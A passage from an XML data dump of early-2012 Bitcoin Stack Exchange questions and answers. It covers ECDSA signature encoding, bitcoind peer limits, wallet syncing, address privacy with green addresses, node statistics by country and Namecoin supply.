0220&lt;br&gt;&#xA;316eb3cad8b66fcf1494a6e6f9542c3555addbf337f04b62bf4758483fdc881d&lt;br&gt;&#xA;022100&lt;br&gt;&#xA;bf46d26cef45d998a2cb5d2d0b8342d70973fa7c3c37ae72234696524b2bc812&lt;br&gt;&#xA;01&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If we parse that as DER, we get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 0:d=0  hl=2 l= 69 cons: SEQUENCE          &#xA; 2:d=1  hl=2 l= 32 prim: INTEGER :316EB3CAD8B66FCF1494A6E6F9542C3555ADDBF337F04B62BF4758483FDC881D&#xA;36:d=1  hl=2 l= 33 prim: INTEGER :BF46D26CEF45D998A2CB5D2D0B8342D70973FA7C3C37AE72234696524B2BC812&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can also peek at the OpenSSL source code, file &lt;code&gt;ecdsa/ecs_asn1.c&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ASN1_SEQUENCE(ECDSA_SIG) = {&#xA;        ASN1_SIMPLE(ECDSA_SIG, r, CBIGNUM),&#xA;        ASN1_SIMPLE(ECDSA_SIG, s, CBIGNUM)&#xA;} ASN1_SEQUENCE_END(ECDSA_SIG)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2021-10-07T07:05:27.390" LastActivityDate="2012-01-01T08:56:39.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2378" PostTypeId="1" CreationDate="2012-01-01T14:36:58.760" Score="6" ViewCount="1381" Body="&lt;p&gt;Presently I am running bitcoin-qt 0.5.1 on ubuntu 11.04, and am running with seventeen peers. But if I run bitcoind (still 0.5.1 on ubuntu 11.04) I can't get more than eight, no matter how long I leave it on. Why is that, and should I do anything about it?&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2012-01-02T05:29:06.247" Title="bitcoind -- how can i get the number of peers to exceed eight?" Tags="|network|bitcoind|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2379" PostTypeId="2" ParentId="2378" CreationDate="2012-01-01T14:41:36.637" Score="2" Body="&lt;p&gt;8 peers is the number of outbound connections the client makes. So if you always have 8 connections, that probably means that people can't make inbound connections to your machine. This really has no harmful effects. You can't at all trust people who connected to you anyway. (You might have 70 inbound connections that are all from the same miscreant.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most likely reason for the difference is that one client has UPNP support and the other doesn't or doesn't have it enabled. If your machine is behind a NAT device that supports UPNP, that's probably the reason.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-01T14:41:36.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2380" PostTypeId="1" AcceptedAnswerId="2381" CreationDate="2012-01-01T18:19:08.943" Score="13" ViewCount="29741" Body="&lt;p&gt;I sent coins to my Bitcoin wallet not after installing it, but before it had fully synced! Then I closed and reopened it after sending the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It had generated a bitcoin address to send to, but is that address &quot;officially mine&quot; prior to the program actually having updated and being &quot;officially on the network&quot;?&lt;/p&gt;&#xA;" OwnerUserId="844" LastEditorUserId="132" LastEditDate="2013-12-21T10:06:09.520" LastActivityDate="2016-12-15T00:18:09.443" Title="Help! I sent coins to my bitcoin wallet before it was properly synced!" Tags="|wallet|synchronization|" AnswerCount="4" CommentCount="3" ClosedDate="2017-06-30T15:35:25.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="2381" PostTypeId="2" ParentId="2380" CreationDate="2012-01-01T18:37:51.270" Score="18" Body="&lt;p&gt;Yes it is, worry not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client can generate valid addresses without ever being connected to the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the blockchain finishes downloading, you should see the incoming transaction.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-01T18:37:51.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2382" PostTypeId="2" ParentId="2380" CreationDate="2012-01-01T18:39:37.070" Score="5" Body="&lt;p&gt;The sync of you wallet do not cause any trouble for retriving bitcoins. If somebody send you some bitcoins to your address and the transaction have been accepted you will receive you bitcoins when your client syncs.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2012-01-01T18:39:37.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2383" PostTypeId="2" ParentId="2378" CreationDate="2012-01-01T18:45:11.350" Score="0" Body="&lt;p&gt;The number of connections does not really matter, but you should still have more than one (else that one could be a malicious person). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also we could not imagine everybody connected to everybody in the network, this is why a small number is more conceivable if your not a miner you just need to download new blocks and push transactions which will be transfer across the network by the node you are connected and so on.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2012-01-01T18:45:11.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2384" PostTypeId="2" ParentId="2378" CreationDate="2012-01-02T05:29:06.247" Score="3" Body="&lt;p&gt;If you want to enable inbound connections and thus have more than 8, most likely what you need to do is forward port 8333 on your router.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-02T05:29:06.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2385" PostTypeId="2" ParentId="16" CreationDate="2012-01-02T05:46:58.760" Score="-2" Body="&lt;p&gt;I created this &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/nzg4o/the_canonical_newbie_guide_to_bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Canonical Newbie Guide on Reddit&lt;/a&gt;.&#xA;It's still empty, but I'm hoping it will become a good resource for newbies.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-02T05:46:58.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2386" PostTypeId="1" CreationDate="2012-01-02T06:21:26.020" Score="11" ViewCount="740" Body="&lt;p&gt;From &lt;a href=&quot;https://crypto.stackexchange.com/questions/508/could-one-prevent-double-spending-in-decentralized-digital-currencies-like-bitc&quot;&gt;https://crypto.stackexchange.com/questions/508/could-one-prevent-double-spending-in-decentralized-digital-currencies-like-bitc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Now, the only information about the transaction that needs to be public is enough information to prove I have the coins and prove that I didn't transfer them elsewhere. As it happens, the Bitcoin protocol leaks much more information than this (for example, the account I transferred the coins to). The protocol could have been designed to make less information public if that was desired.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true, could the block-chain report less data but still gain the proof-of-work mechanism's benefits?  If so, what aspects of the blockchain are non-essential and what is the reason for including them?&lt;/p&gt;&#xA;" OwnerUserId="849" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2012-01-05T10:22:05.983" Title="Does the bitcoin block contain minimal transaction detail? (Is it as private as possible given the proof-of-work design?)" Tags="|blockchain|privacy|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2387" PostTypeId="1" CreationDate="2012-01-02T08:35:27.017" Score="8" ViewCount="2177" Body="&lt;p&gt;If I am interested in improving my anonymity when dealing with a merchant, does sending from a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1730/what-are-green-addresses&quot;&gt;Green Address&lt;/a&gt; help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My proposed steps for buying from a merchant as anonymously as possible would be: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Send coins to InstaWallet (connecting to InstaWallet through Tor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Send coins from InstaWallet to merchant using InstaWallet's Green Address feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theory is that the Green Address would make it much more difficult for the merchant to determine my identity, compared to sending the coins directly from my personal wallet. If I send the coins directly from my wallet, the merchant could likely trace the coins back to the exchange where I originally purchased them, and possibly issue a subpoena to the exchange (which likely knows my identity). Whereas, if I send the coins via a Green Address, the merchant could not trace the coins upstream at all - even if they issued a subpoena to InstaWallet, there should be no way to determine the original source of the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my theory correct? Do Green Addresses help improve anonymity?&lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-02-05T13:03:27.267" Title="Does sending from a green address improve my anonymity?" Tags="|privacy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2388" PostTypeId="2" ParentId="2387" CreationDate="2012-01-02T09:57:04.407" Score="0" Body="&lt;p&gt;The transaction in The Bitcoin Network are public, but the addresses are what enables you your privacy. If youy pay from a bitcoin address the receiver will know that address but your other  private infos are not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing is that if you reuse that address (which is most likely if you received bitcoins on that address) it may be able to track what you spend, but to know to who you spend would be munch more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as you can create address as you wish you can render the task of identifying munch more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The green addresses are third parties so your privacy will rely on them and in fact it does not rely protect your privacy because one could check what have been spent or transfer to that address anyway.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2012-01-02T09:57:04.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2389" PostTypeId="2" ParentId="2387" CreationDate="2012-01-02T10:09:51.343" Score="5" Body="&lt;p&gt;No, your theory is incorrect. If anything, the green address makes it easier to trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I see a transaction from an Instawallet green address, I subpoena Instawallet and ask them who commanded them to make that transaction. Boom, they found me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I don't use a green address, how can they tell the coins came from Instalwallet at all? How would they even know who to subpoena?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I send the coins directly from my wallet, the merchant could likely trace the coins back to the exchange where I originally purchased them, and possibly issue a subpoena to the exchange (which likely knows my identity).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So what? If some dollar bills were used to buy drugs that I withdrew from an ATM machine, what does that tell you? And how would they trace the coins to the exchange exactly?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whereas, if I send the coins via a Green Address, the merchant could not trace the coins upstream at all - even if they issued a subpoena to InstaWallet, there should be no way to determine the original source of the coins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't follow your reasoning. They subpoena Instawallet and ask them which user commanded that transaction through their green address. They identify you. They're just saved the hard work of trying to trace the coins to an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty much academic anyway. There's no good way to tell a sham transaction (where the sender and recipient accounts are controlled by the same party) from a real one.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-02T10:09:51.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2391" PostTypeId="2" ParentId="2386" CreationDate="2012-01-02T21:04:41.460" Score="-1" Body="&lt;p&gt;I'm not a crypto expert but I think the answer is exactly the opposite, Satoshi chose to give out less information than he could have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use PGP encryption you publish a public key that anyone can use to send a message that only you can read. Typically your public key is available to everyone in the world, including the NSA, from a public keyserver. This is convenient, someone dosn't have to email you and say &quot;Hey guy, I need your public key to send you a private email&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NSA might have spent the last 17 years cracking my old 384bit public key to read a couple of email replies I got in 1994 saying &quot;Re: can I sleep on your floor after the 2600 meet? Yeah dude bring a sleeping bag&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin address is a hash of a hash of an ECSDA public key. That is just as identifying as the public key, or a non-existent &quot;account number&quot; since it is unique to the person receiving the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is loads of money sitting in the bitcoin block chain. To take the money from an address you just have to provide a number that meets certain conditions. The whole thing rests on it being really really difficult to find a number that meets the conditions if you don't have the private key that was produced along with the bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi could have just had the bitcoin software publish the public key. That would mean that if someone dosn't spend some bitcons for 15 years an attacker has 15 years to try to crack the ECSDA crypto. That should have an insignificantly tiny chance of success but there is no harm in making it more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory the hashing means that there are more possible numbers which satisfy the condition to get the money. That should reduce the cracking time from a 1000 zillion years to only a zillion years, which dosn't matter. In practice it means an attacker has to crack ECSDA plus two hashing algoristhm instead of just ECSDA so it's probably more difficult in practice.&lt;/p&gt;&#xA;" OwnerUserId="856" LastActivityDate="2012-01-02T21:04:41.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2394" PostTypeId="1" AcceptedAnswerId="2503" CreationDate="2012-01-03T08:24:44.913" Score="5" ViewCount="998" Body="&lt;p&gt;Are there any mining pools operating on the Bitcoin Testnet, or do pool owners just test their code using their own machines without keeping the test pool up for too long?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-02-01T09:31:55.047" LastActivityDate="2016-02-01T09:31:55.047" Title="Are there any mining pools operating on the Testnet?" Tags="|mining-pools|testnet|testing|" AnswerCount="1" CommentCount="0" ClosedDate="2016-02-01T09:32:03.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="2395" PostTypeId="2" ParentId="2316" CreationDate="2012-01-03T09:56:40.083" Score="0" Body="&lt;p&gt;From what I understand (not being a BlackBerry or Android developer, just a small iPhone one), programming for BlackBerry is more tedious and low level than programming for an iPhone or Android. The SDK is less user-friendly, and one has to develop for a lot of screen resolutions (similar to Android, not really so for the iPhone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, if someone wanted to create an app like that for BlackBerry, there shouldn't be anything stopping them, just that for now there doesn't seem to be anyone wanting to do so. Then again, since there is more and more emphasis on webapps for any smartphone, maybe the need for BlackBerry-specific app is not that urgent.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-03T09:56:40.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2396" PostTypeId="2" ParentId="532" CreationDate="2012-01-03T09:57:20.050" Score="10" Body="&lt;p&gt;I purchased Krad Miner from the creator for the bounty cost of 50 BTC, and have released it as open source (Apache 2.0 license) on Github. Since the author has other projects using the Krad label, I have renamed it to &lt;a href=&quot;https://github.com/temujin9/tumen_miner&quot;&gt;Tumen Miner&lt;/a&gt;. I would currently consider it alpha-quality; I have not run it, merely cleaned it up as best I could.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the short term, I plan to fund some minor testing and development on it. Longer term, I may start coding on it myself, if I ever find the free time. I welcome donations in the form of bug reports, code pull requests, and BTC to pay the coders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merry Christmas, coiners.&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2012-01-03T09:57:20.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2397" PostTypeId="2" ParentId="2357" CreationDate="2012-01-03T10:15:04.123" Score="1" Body="&lt;p&gt;That depends on how the Overlay Network will be handling the transactions. It might follow the standard protocol, or develop its own. In any case, as the ON is still in proposal stage, everything can change still. Best advise is to follow the forum thread and the Google Doc and see where it settles at.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-21T15:01:02.630" LastActivityDate="2012-01-21T15:01:02.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2398" PostTypeId="1" CreationDate="2012-01-03T14:24:34.123" Score="2" ViewCount="375" Body="&lt;p&gt;I have had Bitcoin for some time now, but am relatively inexperienced. I have a Mac client, and yesterday sent 95BTC to it from my Mt.Gox wallet but it never arrived. I sent Mt.Gox a message asking for help they told me it would arrive when I reached block 160319 and my client is just at 124667 and not connecting at all! I can't get it to connect, have tried various suggestions from forums but can't make it work, please help! thanks&lt;/p&gt;&#xA;" OwnerUserId="858" LastEditorUserId="323" LastEditDate="2012-01-03T15:33:15.330" LastActivityDate="2012-01-03T15:33:15.330" Title="Sent 95BTC to my client from Mt.Gox and it never showed" Tags="|transactions|client|mac|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2399" PostTypeId="2" ParentId="2398" CreationDate="2012-01-03T15:30:54.640" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;If you are not sure if your wallet balance is okay, search for your address in the &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block Explorer&lt;/a&gt;. If you see your coins there, they are safe. &lt;a href=&quot;http://blockexplorer.com/address/1FHfgKEcEu4HTkQeULzKXMnvdjxZVpP5Tj&quot; rel=&quot;nofollow noreferrer&quot;&gt;I'm guessing it's this address, so everything should be fine.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure your client is up-to-date. If it is too old it might not be able to communicate with the network. (remember to &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#Locating_Bitcoin.27s_data_directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;backup your wallet.dat beforehand&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;If your updated client can't connect to the network (0 connections), &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2215/bitcoin-client-wont-connect-to-the-network&quot;&gt;check out this topic&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If your client is connected to peers, but after an hour you don't see any block progress, try closing down the client, deleting blk .dat files from your &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#Locating_Bitcoin.27s_data_directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin data directory&lt;/a&gt;, and then starting it again.&lt;/li&gt;&#xA;&lt;li&gt;When you see your block count progressing, be patient. Leave your computer running the client over night. The procedure takes awhile, as Bitcoin needs to download and verify over 1GB of data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If all else fails, you can try redeeming your wallet at MtGox (remember exactly if this is the only service providing this functionality) and using an &lt;a href=&quot;https://en.bitcoin.it/wiki/Browser-based_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;online wallet service&lt;/a&gt;, like &lt;a href=&quot;https://strongcoin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;StrongCoin&lt;/a&gt;, to never have to deal with the problem again.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-01-03T15:30:54.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2400" PostTypeId="2" ParentId="2293" CreationDate="2012-01-03T21:33:11.317" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://btcnow.net&quot; rel=&quot;nofollow&quot;&gt;btcnow.net&lt;/a&gt; Sells via &lt;a href=&quot;https://www.okpay.com/en/index.html&quot; rel=&quot;nofollow&quot;&gt;OKPAY&lt;/a&gt; which is a Russian PayPal analogue. Like PayPal, it allows you to directly fund a transaction from a credit/debit card.&lt;/p&gt;&#xA;" OwnerUserId="860" LastActivityDate="2012-01-03T21:33:11.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2401" PostTypeId="1" AcceptedAnswerId="2413" CreationDate="2012-01-03T21:34:16.980" Score="1" ViewCount="389" Body="&lt;p&gt;Where can I go to read up on encryption methods used in Bitcoin? I am particularly interested in the idea that I can use a private key to sign something and it proves to the world I have the private key but yet does not reveal the actual key.  This is a topic of mystery to me, how this is done.&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2017-08-18T11:07:45.347" Title="Where can I go to read up on encryption methods used in Bitcoin?" Tags="|encryption|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2402" PostTypeId="1" AcceptedAnswerId="2408" CreationDate="2012-01-03T21:37:35.900" Score="3" ViewCount="1207" Body="&lt;p&gt;What countries are already represented in the Bitcoin network?  I am asking this to see a list of countries, so we will know how well it is spreading, and if there is some area that is not reached.  So please, show us where we can find this list:&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="662" LastEditDate="2012-01-04T22:56:43.273" LastActivityDate="2012-01-04T23:01:10.203" Title="What countries are already represented in the Bitcoin network?" Tags="|network|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2403" PostTypeId="2" ParentId="733" CreationDate="2012-01-03T21:45:04.623" Score="0" Body="&lt;p&gt;Is it possible that in the future, there will be a business in archive services?  Maybe people who wish to spend a very old Bitcoin that is more than x years old will need to wait a few minutes longer so that the archive servers will look it up.  I am using the analogy of present day banking.  My bank has 90 days of activity on-line.  If I want something older, then I have to request it and wait.&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2012-01-03T21:45:04.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2404" PostTypeId="2" ParentId="2386" CreationDate="2012-01-03T21:46:33.403" Score="0" Body="&lt;p&gt;To be able to prove that you have the coins, it is necessary to be able to prove where the coins are (ie, what address they're at) right now. This means the public ledger has to show the movements of the coins. Otherwise, how do we know the coins are in your wallet and not another wallet?&lt;/p&gt;&#xA;" OwnerUserId="861" LastActivityDate="2012-01-03T21:46:33.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2405" PostTypeId="1" CreationDate="2012-01-03T21:48:24.147" Score="3" ViewCount="929" Body="&lt;p&gt;I would like to issue Bitcoin coupons with a given USD value. The redeeming web app should accept the coupon pin-code and a Bitcoin address and transfer bitcoins to that address according to the current exchange rate. I'm looking for a quick / simple solution, preferably with PHP. Looking for design guidelines and any advice to help me get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&#xA;To be more specific:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a sample code for sending coins using bitcoind / PHP ?&lt;/li&gt;&#xA;&lt;li&gt;Is there a 3d party API providing such functionality (instead of using bitcoind)?&lt;/li&gt;&#xA;&lt;li&gt;Do MtGox and Tradehill have APIs for transfers?&lt;/li&gt;&#xA;&lt;li&gt;Is captcha a must?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;[end edit]&lt;/p&gt;&#xA;" OwnerUserId="862" LastEditorUserId="105" LastEditDate="2012-01-04T12:46:17.067" LastActivityDate="2012-03-05T07:51:58.583" Title="Guidelines for creating a PHP driven web app for redeeming Bitcoin coupons" Tags="|bitcoind|websites|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2406" PostTypeId="2" ParentId="2401" CreationDate="2012-01-03T21:50:39.093" Score="0" Body="&lt;p&gt;Small clarification - encryption is generally a topic about obscuring data so it can't be read. If you are interested in the algorithms of signing things, you are not looking for encryption, but you are looking for signature algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signature algorithms are generally a topic about mathematically showing that only you could've sent the data, while not necessary obscuring it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the signature algorithms used in Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.google.com/search?q=ecdsa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google for ECDSA&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia entry for ECDSA&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/ECDSA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Wiki entry for ECDSA&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Generally, look into topic of Digital Signature Algorithms in general, and Elliptic Curve Digital Signature Algorithm in particular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This topic is a field of cryptography, and is not Bitcoin specific. If you have more questions regarding it, you should check out &lt;a href=&quot;https://crypto.stackexchange.com/&quot;&gt;Crypto SE&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="38963" LastEditDate="2017-08-18T11:07:45.347" LastActivityDate="2017-08-18T11:07:45.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2407" PostTypeId="2" ParentId="2405" CreationDate="2012-01-03T21:56:08.813" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Issue coupons with some serial number that is unique to each coupon, preferably concealed in a way that once the number is visible, the coupon can't be made to look unopened.&lt;/li&gt;&#xA;&lt;li&gt;Have a list of all coupon serial numbers and their values in your database.&lt;/li&gt;&#xA;&lt;li&gt;Upon redeeming the coupon with a proper Bitcoin address, convert the amount according to some value form an exchange (like Mt.Gox) and send the proper amount of coins to the specified address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As for the actual program to perform those actions, can't help you much, but if you can communicate with Bitcoind through JSON-RPC, the rest should be pretty easy to program for.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-03T21:56:08.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2408" PostTypeId="2" ParentId="2402" CreationDate="2012-01-03T22:06:14.900" Score="3" Body="&lt;p&gt;If you are interested in Bitcoin nodes, This website seems to keep a count of how many of them are connected by country:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinstatus.rowit.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstatus.rowit.co.uk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you want more graphical (and cooler looking) data, just look at this globe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.weusecoins.com/globe-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://www.weusecoins.com/globe-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows you what amount of Bitcoin nodes are connected in each geographical area not only at a country level, but going down to what I believe is a city level.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-04T23:01:10.203" LastActivityDate="2012-01-04T23:01:10.203" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2409" PostTypeId="2" ParentId="2402" CreationDate="2012-01-03T22:09:59.207" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinstatus.rowit.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstatus.rowit.co.uk&lt;/a&gt; is a site where you can find such stats. It has (among other stats) a list of countries and the number of connected nodes in that country.&lt;/p&gt;&#xA;" OwnerUserId="862" LastEditorUserId="105" LastEditDate="2012-01-03T22:19:47.803" LastActivityDate="2012-01-03T22:19:47.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2410" PostTypeId="1" AcceptedAnswerId="2418" CreationDate="2012-01-03T22:39:41.307" Score="2" ViewCount="349" Body="&lt;p&gt;The Bitcoin community is a very dynamic place, especially when the USD/BTC exchange rates are high. Many Bitcoin-related projects have sprung up in the past, but a lot of them failed for various reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the major reasons for such projects failing? What things should an aspiring developer keep in mind to avoid such mishaps with their project?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-03T22:48:58.173" LastActivityDate="2012-01-05T15:07:42.540" Title="What are the major reasons for various Bitcoin-related projects' downfall?" Tags="|development|project|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2411" PostTypeId="1" AcceptedAnswerId="2480" CreationDate="2012-01-03T23:02:42.983" Score="14" ViewCount="2747" Body="&lt;p&gt;When Bitcoins stop being generated it won't be a problem: prices can gradually be lower. Namecoins, however, have a more-or-less &lt;em&gt;set&lt;/em&gt; price, which is the domain register price. If Namecoins stop being generated, but people of course still want to register domains, what happens?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-03-03T14:00:09.440" LastActivityDate="2013-03-03T14:00:09.440" Title="What happens when NameCoins stop being generated?" Tags="|namecoin|future-proof|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2412" PostTypeId="2" ParentId="2410" CreationDate="2012-01-04T02:40:22.667" Score="2" Body="&lt;p&gt;Bitcoin projects have been very experimental with little precedent in the business models they've used, and consequently only small investments of time and money backing many of them, so for both of these reasons, a high percentage of them have failed. This is inherent to Bitcoin-related projects at the moment, as they involve a new technology. The flip side is a greater potential of Bitcoin businesses seeing rapid growth, due to the novelty of bitcoin-related business models.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2012-01-04T03:09:34.423" LastActivityDate="2012-01-04T03:09:34.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
